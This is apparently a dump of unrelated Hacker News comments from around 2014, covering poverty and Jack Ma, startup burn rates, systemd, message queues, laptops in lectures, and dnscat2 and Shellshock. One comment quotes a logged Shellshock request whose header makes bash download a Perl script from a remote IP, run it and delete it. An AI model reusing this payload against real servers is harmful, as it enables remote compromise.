skysight-inc/HackerNews huggingface dataset:
Congratulations. That's a tough place to be. There is a huge gap between being broke and being poor. And working yourself out of poverty takes a little luck and a lot of effort.
Regardless of whether the economy is zero sum or not, it is trivial to see that not everybody can be rich. So even if everybody did the "right" thing, not everybody would be rich, or even wealthy.

See: the world GDP divided by world population.
To be honest, I don't think I've ever tracked a problem down to that race condition. But I'm willing to believe some of the things that systemd does (and increased parallelization in general) might increase the likelihood of it occurring.

I think the larger point to take away here is that the systemd authors have a bias for doing "the right thing"[1], even if it means additional (implementation) complexity. Unix has traditionally been a stronghold of "worse is better" culture, which I think is where all this friction is coming from.

[1] https://en.wikipedia.org/wiki/Worse_is_better
Counting bytes fast
seriously warped command of the english language there. performs similarly to similar sized phones... The iphone5 is much smaller and therefore less likely to get bent in the pocket. It wasn't that hard to understand.
New Languages: Brave New World
It's not "you deserve it" (which has a bad connotation, as if not being rich is derogatory). More like, if you seem to be unable to amass cash, then you are probably unable; do something else instead.

Being rich or poor is overrated, this is just another condition like being healthy, or able to read Chinese. Everything can be fixed to an extent, and depends on whichever characteristic is perceived as more valuable to have.
How did you infer Jack Ma, a former school teacher, lacks basic empathy?

And why so much hatred towards him in this thread? According to him, one of the reasons people lose is:

Lacking understanding

I'm not sure people in this thread are understanding enough. It's a little presumptuous to interpret that advice only as "not knowing things" but not as "not being understanding with people".

Or are you saying Jack Ma didn't go through hardship?

Lacking understanding the world is a complex place tends to be found in less smart people than the other way around. So what's your point?

Or are you saying someone who tells the truth, and the truth turns out to be uncomfortable, is interpreted as lacking empathy?
Novelty and visibility to the public.
This isn't two bot's stuck in an automated loop. It's a crime scene.

It's a deliberate attempt by High Frequency Tweeters to manipulate the tweetosophere! In fact, Twitter is so one sided in it's tweeting patterns that genuine twits have given up responding to the communication of other humans and merely tweet based on tweet stuffing interventions by those who plead innocence and claim to only be providing useful information.

http://www.zerohedge.com/article/its-not-market-its-hft-crop...
In my recent experience, server boot time is more important to me than desktop boot time. My desktop and laptop basically never boot anymore, they just suspend and resume. But I wait for ec2 instances to boot at least several times a week.
If it wasn't for Deng Xiaoping's reforms then China would not be the economic powerhouse it is today.
I think it's a reasonable question. The answer is almost entirely dependent on how many founders/employees you have and if you're drawing salaries or not. Salaries are by a country mile your most expensive cost.

It should be roughly enough for around 4 people to be pulling $90K/year salaries for 3 months with a bit left over for other stuff. So not a ton, but enough to do something interesting. The expectation is you'll be raising another round right after YC.
Starting an online gambling website, for one.
That's an odd quote because apparently Ma himself was already over 35 when he started Alibaba:

http://en.wikipedia.org/wiki/Jack_Ma
Qmail is a vector for bash shellshock
You should plan to have somewhere between $153.23 and $724.78 left by demo day. Your burn rate is a proxy for your company's growth. If you have too much money left, investors will think you're not growing fast enough.
I'd say: use RDBMS for messaging wherever you can. Messages are data, please keep it where the data belongs. If you have all your data together it's much easier to do backups/restores or any other maintenance tasks. Also, you want to be transactional, and you will if sending/receiving messages is just a part of a normal database transaction (You don't even need distributed transactions). RDBMSes are inherently transactional and they've done this right, why replace it with something half-baked and unreliable?
And your admins will be happy too, they don't want to support any exotic messaging technology. Just make sure you know what you're doing, RDBMS can be quite powerful message queue if you do it right.
Well, if the simplest part of the puzzle isn't implemented, then I doubt the rest of it is.
i wouldn't take it too seriously. It sounds more like a pep talk to me.

it's the beginning of a motivational book in the making.
Whether you end up in jail depends on something else entirely. Let's say that our individual in question needs to lack empathy and be more able than an average cop in that location.
You could do a bisect on the source code and find the commit that introduced the bug. You might be able to find a flaw in the code pretty quickly and submit a patch with your report. It also helps to be active on #chromium on Freenode. People will look at your bug if you are active in there.
Hey, I'm the guy that wrote the talk and you're right - Iodone is similar in some ways.

Some quick background - I wrote the original version of dnscat a few years ago, and AFAIK Iodine was made at the same time. dnscat was designed to be an all-purpose DNS relay.

dnscat2 was re-written from scratch with one thing in mind - pentesting. It's NOT a general purpose DNS tunnel, and I've actively avoided adding features that would make it that way. It's for offensive security, plain and simple.

I realize I didn't call that out very well in the slides, and I should have. Next time! :)
Postgres has "listen"/"notify", which lets you easily signal between concurrent clients; one notification is delivered to exactly one listener. You can't pass along any information, though you can use the signal name as a way to target listeners.
What do online gambling websites have to do with empathy, or lack of it?

I mean, I guess in some jurisdictions it is illegal, so it would be a risky move, but what does that have to do with empathy? Lack of empathy for your future, potentially jailed, self I guess?
I went through undergrad at a time when it was relatively uncommon for students to use a laptop in class. There were usually a couple students in a typical lecture using them and they got a lot of flack from their neighbors if they were typing too loudly.

In grad school, I recall sitting in on some lectures of a course I was TA'ing. In just a few years it seemed that a technological revolution had occurred. More students had laptops open than not. It was like sitting in a field of frantically mating crickets. The subject being taught was classical mechanics (for non-physics majors), so there were plenty of equations and diagrams. The students nearest to me seemed to have a variety of solutions. Some had tablets that allowed them to draw directly in their notes. Some had a pad of paper that they switched to. Others seemed to be ignoring anything they couldn't type. Suboptimal, to say the least!

The really disturbing thing was how many laptops were not engaged in anything that remotely resembled note-taking. People were writing emails, browsing, sending text messages, watching T.V. shows, you name it. There was one kid sitting in the front row, happily watching South Park with a giant pair of headphones on. She clearly didn't care about the class, nor did she care about letting both the prof and everyone sitting behind her know about it. Why did this kid even bother showing up?

I was just there so I'd know what was being covered, but I think I missed half of that class just gawking at how technology was being (mis)used. Even once I'd gotten over the initial shock and started paying attention, my eyes were repeatedly drawn to South Park being played on a huge 17" monitor in the first row.

Hats off to Clay Shirky. I'm normally in favor of treating students like adults (even the childish ones), but laptop use has a big impact on people who aren't using them. If I'm running a lab or tutorial and people are being noisy in the hall, I close the door. I do what I can to give my students a good learning environment. Banning laptops and phones is no different.
That's not exactly true.

The world GDP divided by world population is a snapshot of the current state of the world today. It's not a snapshot of everybody doing the "right" thing. It's also not a snapshot of everybody doing the "right" thing in 1000 years from now. You are excluding possibilities.
I agree with the last quote in that list. This is a really wonderful example of science working the way it's supposed to.
I'm aware the recent talk is geared more towards seriously funded companies, but I would like to get a feel of the figures in general from the first few months of YC.

When talking to potential co founders (a lot of which have never heard of YC), I'd like to be able to give them a picture of how the investment typically gets spent during their time at YC.
I would like to reply to this but it is very hard to understand what you are alluding to. What is this software that one fifth of companies run and why is technically savvy in scare quotes, along with some veiled reference to something called spray-and-pray?

It's really impossible to understand you, but fastcgi_params does not put attacker controlled data into environment variables (without the quotes). That much is clear so normal usage of fastcgi is not in danger.
> That merits you at least explaining how his explanation is not illuminating

I think that if someone could explain this, they probably wouldn't need the explanation. You can't ask "why don't you understand?" and expect to get a meaningful answer.

(They might be able to point at a specific bit and say "you lost me here", but that's a what, not a how, and they might not be able to.)
I'll take a stab at this.

A person living in poverty and lack empathy may turn to a life of crime to get rich quickly. Selling drugs, burglary, or prostitution are all path to riches, however illegal or unethical it may be.

Those that go through prostitution may further advance their career by collect their clients information and sell it for money.

So yes, lacking empathy can definitely unlock more paths.
From Apache Log -- should I be worried -- bash not patched on OS X box. Anyone know what this does?

"GET /cgi-bin/hi HTTP/1.0" 404 357 "-" "() { :;}; /bin/bash -c "cd /tmp;wget http://213.5.67.223/jurat;curl -O /tmp/jurat http://213.5.67.223/jurat ; perl /tmp/jurat;rm -rf /tmp/jurat\""
Sounds like a pragmatic solution. If you're using Postgres you can use "listen" and "notify" to avoid polling, though.
My brother worked as a sales rep for over 10 years in home health and hospice. He has told me many war stories. Per the article, a lot of companies avoid patients who are short-term (less than a week to live) because the companies stand to lose money. He refused to do this and would regularly take on patients that represented a $10-15K loss.

By doing so he formed close bonds with doctors and discharge planners who would turn to him when no one else was willing to take a patient. These relationships led to a lot of referrals and he grew his territory to one of the strongest.

The company was later bought and new management enforced much harsher oversight on patient profitability metrics. Needless to say, he quit. Certainly something needs to change.
Thanks. That makes a bunch of sense. (no sarcasm)
It doesn't matter what specific companies are doing, but it's always helpful to know how the experience goes on average.
But this conversation isn't about being rich. It is about not being poor. There is a world of difference between the two.
There are all sorts of lucrative pursuits that may not land you in jail, but that most of us would consider unethical. As one example, spamming. Another one, black hat SEO. If you're careful doing these things, you can avoid breaking the law in many countries. Often, even in those countries where these pursuits are against the law, you'd never be prosecuted.

So faced with these opportunities, there are many "psychopaths", "sociopaths", or -- to avoid pseudo-psychological terms -- unethical/immoral people who would not feel the hesitation you and I would feel faced with such possibilities.

There are all sorts of borderline/"grey" opportunities like this available to immoral people. They are unlikely to land them in jail, but they don't hesitate so they make bank.
This is really cool, also check out http://www.openworm.org/ which was started around the same time. I wish there was a comparison of the two projects.
>These swirls would bolster the idea that the infant cosmos expanded faster than the speed of light during a brief growth spurt called inflation.

what speed of light they are talking about - today's one or the one that was ruling Universe back then? Physical constants do change with changes in the Universe (otherwise the visible Universe which was long time ago inside its current Schwarzschild radius - 10B in today's dollars ... err ... light years - would have supposedly crossed it to get to grow to the 46B light years the Universe is today. Either it crossed the Schwarzschild radius or the Schwarzschild radius of the same visible Universe was "deflated" back then and got inflated together with the Universe inflation - that means physical constants change. Actually the constants may be the same - for the speed it is just length of the different, "deflated", space divided by the different, "deflated", time)
It's not a quote.
Hey, I'm the author of the talk, but I'm not the one who posted this. I'll give you some context :)

It's the slides from a talk I gave yesterday at Derbycon - https://www.derbycon.com. It was recorded, but it doesn't look like the recording is up just yet - it will be on http://irongeek.com in the next couple days (and maybe tweeted from @irongeek_adc sooner - he's already posted a few videos from talks later than mine, but I was in kind of a weird room).

Anyway, this talk doesn't really have anything to do with DNSSEC. These attacks would work just fine with or without DNSSEC. It's simply abusing DNS the way DNS was supposed to work.

And finally, I'll definitely be posting more information (releasing the tool, the video, etc) on my own twitter account - @iagox86.
Thanks for your feedback yournutella
>'I assume once you've succeeded following a certain path, you think the options that were available to you are available to anyone – if only they were good / smart / strong enough to make the most of them.'

I think this is actually worse than that.

Strength, smarts and expertise are positives that are generally implied as possible to build or at least quantify.

This is more an absolute negative judgement, shaming even "You have chosen to fail." as if success is as simple as flipping an intangible switch inside.

I think it's hard in general to see the world through another's lens.

I expect the very successful are particulary prone to this as they have both a strong, but narrow 'proof' of their own authority on the matter and an endless supply of people seeking their approval - not the sort to give criticism.
R is similar to APL with a lot of Scheme influence. Values are all vectors, functions automatically map over vectors, etc...

Julia is more like Python or Ruby, and not quite as data-oriented as R, but feels a little more like a general purpose language...
Hmmm...to me it makes it sound like a modern language without the baggage of C was and is needed, but Swift is not that language.
Hold your horses. The Guardian claims that Alibaba says this is a hoax. If so, then don't fuck Jack Ma :).
Hey, I'm the guy who wrote this slide deck.

You're absolutely right - as I replied to the parent, this talk has nothing to do with DNSSec, it wouldn't affect this one way or the other.

I also didn't find any great tools for finding anomalous DNS activity, but I didn't look that hard either - I wanted to get the basic functionality written before I started looking at evasion.

The traffic is definitely unusual as-is (I could make it much more discreet, but WAY slower - dnscat1 had those options), and there are definitely techniques to detect it, but I'm not sure what tools could be used.

Sorry for the useless response :)
An Experiment That Changed How We Think About Reality
There's an argument that we should be making an effort to add something like Perl's taint mode (which predates the web by half a decade!) or the stronger variants in some academic languages everywhere but even that's overkill for this class of bugs.

The problem here, as anon1385 pointed out is that shells in general, and Bash in particular, were designed to execute things and maintained at best weak separation between code and data – in no small part because the concept originated 40 years ago when computing was a much more trusted place and network connections were rare and not seen as a conduit for never-ending attacks. As a class, makes shells a bad idea for anything which crosses a privilege boundary; almost any normal language would avoid this particular exploit.
Thanks for your answer. I find the more figures I have in general about how money moves in and out of the company over time, the more I feel I understand. It's really more of a question to get my head around the burn rate for early stage valley companies that are living and working together and your answer helped.

It was a little annoying to see some folk answer back with an invalidation of the question.
I don't have the math to understand this. If I wanted to, what should I seek out on Coursera or similar?
I did this and I still don't have any data on my dashboard. Does anyone else have this problem? Do you have to enable the tracking?

I am using an iPhone 5 so it might be different...
A link to the reported bug seems missing?
The approach to comments link doesn't indicate I should avoid sarcasm. But if that's how it is going to be then maybe one of the moderators can add that there?

Link in question: https://news.ycombinator.com/newswelcome.html.
My grandmother was a teetotaling vegetarian and came down with it. I'm of the opinion that the biggest risk factor is aging.
Wealth often causes a certain entitlement effect...
It's too bad that I had to read most of the comments to get to this bit of information. Do comments rise to the top due to votes? Not obvious anymore without the point totals being displayed.
Not sure if it's more profound, but I hadn't read that one yet, so thanks.
> Except KSM is not as well-suited to this problem as a dynamic linker would be, since KSM doesn't have as much insight into the semantics of the pages it's analyzing.

Why would it need those insights? If two pages are identical, KSM de-duplicates them. The linker-assisted method would do the same, only earlier.

< [...] it must apply heuristics to predict whether a page is going to get written to, whereas the dynamic linker knows exactly which sections of dynamic libs can be shared.

I'm not sure which heuristics you're referring to. I think KSM de-duplicates the pages and sets the single remaining copy as copy-on-write, to detect writes (I wouldn't call this a heuristic). Both KSM and the dynamic linker would only be able to de-duplicate entire pages, since that's what the granularity the OS provides for sharing memory between processes.

> Not to mention that KSM works less efficiently by recognizing duplicate pages after the fact and merging them, rather than skipping the duplication in the first place.

OK, fair enough.
popen() is documented as using the shell, so I wouldn't use it if I follow my moral of the story above. Maybe you're referring to the "shebang" (#!/bin/sh), whereby any executable, that you may have invoked without a shell, can signal that a shell should interpret it?

I guess you have to strip down the environment to only the things you need to know. That's unfortunate, because the nice thing about the environment is that it's inherited, so the user can put in configuration that's needed 3 or 4 steps down the line from where it originated.
In my own life I have encountered two instances where I could have quite easily become rich by putting ethics to one side. One would have involved taking advantage of a single person. One was working for people who had a business model of taking advantage of a class of people.

I have not regretted turning down those chances in the slightest.

The best part about one of them was returning stuff the day after I quit gave me a real life experience of turning up at an office to find the entire area empty. Just like in the movies.
And it creates coordination across multiple institutions. Everyone may have different solutions, but they must all preserve the same problem.
Gearman looks decent, though it does not have persistent queues, and relies on an external storage such as an RDBMS to provide that. Not sure if there is that much gained. Still makes the database a SPOF, for example.
It's not about human echolocation. It's about our awareness of the things that we are consciously doing.
Your opinion regarding friendly computer worms is greatful
Hello fellow readers,
I am conducting a research regarding the acceptance of friendly computer worms within our community and especially from computer security experts and experts in related fields.

It would be interesting to know your opinion on the subject. Do you think it would be effective and applicable if implemented within controlled organizational networks?

As part of my research, a survey was designed to gather input regarding the subject. It would be greatly appreciated if you can spare 5 min form your time to share with us your opinion on this topic.

Survey Link: https://www.surveymonkey.com/s/GoodComputerWorms

Thank you in advance and your comments are welcome,
Salim
Please read ALL of the comments here before you form a knee-jerk opinion about Jack Ma.
I don't think that would be much easier than most startups. The same mechanics still apply. In fact, it's potentially harder due to being heavily regulated or illegal in lots of places. It also has lots of fraud risk.
Guardian: Alibaba says Jack Ma's infamous comment is a hoax
EuroBSD Con 2014 live streaming
Have you read Patterns of Enterprise Integration Architecture, by Martin Fowler? I think it might change your mind on this topic. Messaging isn't the same thing as static data.
The iPhone 5 doesn't have the "motion coprocessor" (added in 5S), so it's unlikely that it will gather this data without a third-party app.
When I take notes because I need to retain something, the writing part is more valuable than reviewing it later. And writing on paper is important, typing isn't effective for that part.

When I take notes just to record details that I can look up later on demand it's faster to type and there's no downside. But that matches work more than it does school.
Announcing microjson
Even if it is true, I wouldn't fuck Jack Ma. I'd probably end up getting affluenza or some other social disease rendering me incapable of basic empathy and understanding of situations beyond the most simplistic ones.
Yeah I am getting also a 402 response from the tracker. I wish they would have put up a BEP or something with an explanation of how they're extending the tracker protocol...